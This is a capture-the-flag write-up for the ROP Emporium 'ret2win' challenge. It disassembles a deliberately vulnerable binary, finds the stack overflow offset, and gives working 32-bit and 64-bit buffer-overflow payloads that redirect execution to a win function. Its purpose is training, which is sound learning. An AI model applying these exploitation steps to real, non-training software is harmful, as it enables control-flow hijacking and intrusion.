ret2win
32 bit
All the functions available to us.

Interesting ones that pop out are main, pwnme, and ret2win. Lets go ahead and disassemble these and see what are we working with.
pwndbg> disassemble pwnme
Dump of assembler code for function pwnme:
0x080485f6 <+0>: push ebp
0x080485f7 <+1>: mov ebp,esp
0x080485f9 <+3>: sub esp,0x28
0x080485fc <+6>: sub esp,0x4
0x080485ff <+9>: push 0x20
0x08048601 <+11>: push 0x0
0x08048603 <+13>: lea eax,[ebp-0x28]
0x08048606 <+16>: push eax
0x08048607 <+17>: call 0x8048460 <memset@plt>
0x0804860c <+22>: add esp,0x10
0x0804860f <+25>: sub esp,0xc
0x08048612 <+28>: push 0x804873c
0x08048617 <+33>: call 0x8048420 <puts@plt>
0x0804861c <+38>: add esp,0x10
0x0804861f <+41>: sub esp,0xc
0x08048622 <+44>: push 0x80487bc
0x08048627 <+49>: call 0x8048420 <puts@plt>
0x0804862c <+54>: add esp,0x10
0x0804862f <+57>: sub esp,0xc
0x08048632 <+60>: push 0x8048821
0x08048637 <+65>: call 0x8048400 <printf@plt>
0x0804863c <+70>: add esp,0x10
0x0804863f <+73>: mov eax,ds:0x804a060
0x08048644 <+78>: sub esp,0x4
0x08048647 <+81>: push eax
0x08048648 <+82>: push 0x32 -> Size of fgets input
0x0804864a <+84>: lea eax,[ebp-0x28]
0x0804864d <+87>: push eax -> Address being loaded to
0x0804864e <+88>: call 0x8048410 <fgets@plt>
0x08048653 <+93>: add esp,0x10
0x08048656 <+96>: nop
0x08048657 <+97>: leave
0x08048658 <+98>: ret
End of assembler dump.
So we have a fgets which takes 50 bytes of input and tries to store the string into a 32 bytes buffer as described by the challenge text.
$ ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> pwndbg> disassemble ret2win
Dump of assembler code for function ret2win:
0x08048659 <+0>: push ebp
0x0804865a <+1>: mov ebp,esp
0x0804865c <+3>: sub esp,0x8
0x0804865f <+6>: sub esp,0xc
0x08048662 <+9>: push 0x8048824
0x08048667 <+14>: call 0x8048400 <printf@plt>
0x0804866c <+19>: add esp,0x10
0x0804866f <+22>: sub esp,0xc
0x08048672 <+25>: push 0x8048841
## Prints flag to the screen
0x08048677 <+30>: call 0x8048430 <system@plt>
0x0804867c <+35>: add esp,0x10
0x0804867f <+38>: nop
0x08048680 <+39>: leave
0x08048681 <+40>: ret
End of assembler dump.
pwndbg> So now our task is to use the overflowed buffer to call the ret2win function and get the flag.
Now we'll try and find the offset which will give us the precise control of the EIP register.
$ msf-pattern_create -l 100 > pattern.string; cat pattern.string | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Segmentation faultSo now we have a segmentation fault, and we can check the failed EIP using dmesg logs and find the offset value.
$ sudo dmesg | tail -2
[ 3369.503758] ret2win32[8889]: segfault at 35624134 ip 0000000035624134 sp 00000000ffdd6570 error 14 in libc-2.29.so[f7d14000+1d000]
[ 3369.503766] Code: Bad RIP value.
# Our bad EIP value is 35624134
$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
# Let's confirm our control of IP
$ python -c 'print "A"*44 + "B"*4' | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Segmentation fault
$ sudo dmesg | tail -2
[ 3573.424132] ret2win32[8937]: segfault at 42424242 ip 0000000042424242 sp 00000000ff9f67b0 error 14 in libc-2.29.so[f7d86000+1d000]
[ 3573.424144] Code: Bad RIP value.Now we have the desired control of EIP. Now we'll check the address of the function to jump to, to get our precious flag.
$ readelf -s ./ret2win32 | grep ret2win
37: 00000000 0 FILE LOCAL DEFAULT ABS ret2win.c
39: 08048659 41 FUNC LOCAL DEFAULT 14 ret2winNow we can construct our exploit and point our EIP to this address to get the flag.
$ python -c 'import struct; print "A"*44 + struct.pack("<I", int("0x08048659", 16))' > exploit.payload; cat exploit.payload | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault64 bit
The functions and their functionality remains the same throughout the binaries so we'll jump right to finding the offset to control our RIP.
$ msf-pattern_create -l 100 > pattern.stringWe can not use the same trick of checking the dmesg for messed up EIP as in case of 64 binaries the result is at RSP and its value is not visible in dmesg.

So value of our RSP is 0x3562413462413362 and the offset value is
$ msf-pattern_offset -q 0x3562413462413362
[*] Exact match at offset 40So let's confirm our RIP control.
$ python -c 'print "A"*40 + "B"*8' > trial.payload
So now we have our control and we can now find the address of the desired function and point the RIP to that address and get our flag.
$ readelf -s ./ret2win | grep ret2win
37: 0000000000000000 0 FILE LOCAL DEFAULT ABS ret2win.c
39: 0000000000400811 32 FUNC LOCAL DEFAULT 14 ret2winAs you can see, there are plenty of NULL bytes which should break our exploit, but they won't as we are using fgets, which only terminates input when it gets a newline or an EOF. So NULL bytes are no problems in this case. Lets construct our final payload and get the flag.
$ python -c 'from pwn import *; print "A"*40 + p64(0x400811)' > exploit.payload
$ cat exploit.payload | ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation faultLast updated
Was this helpful?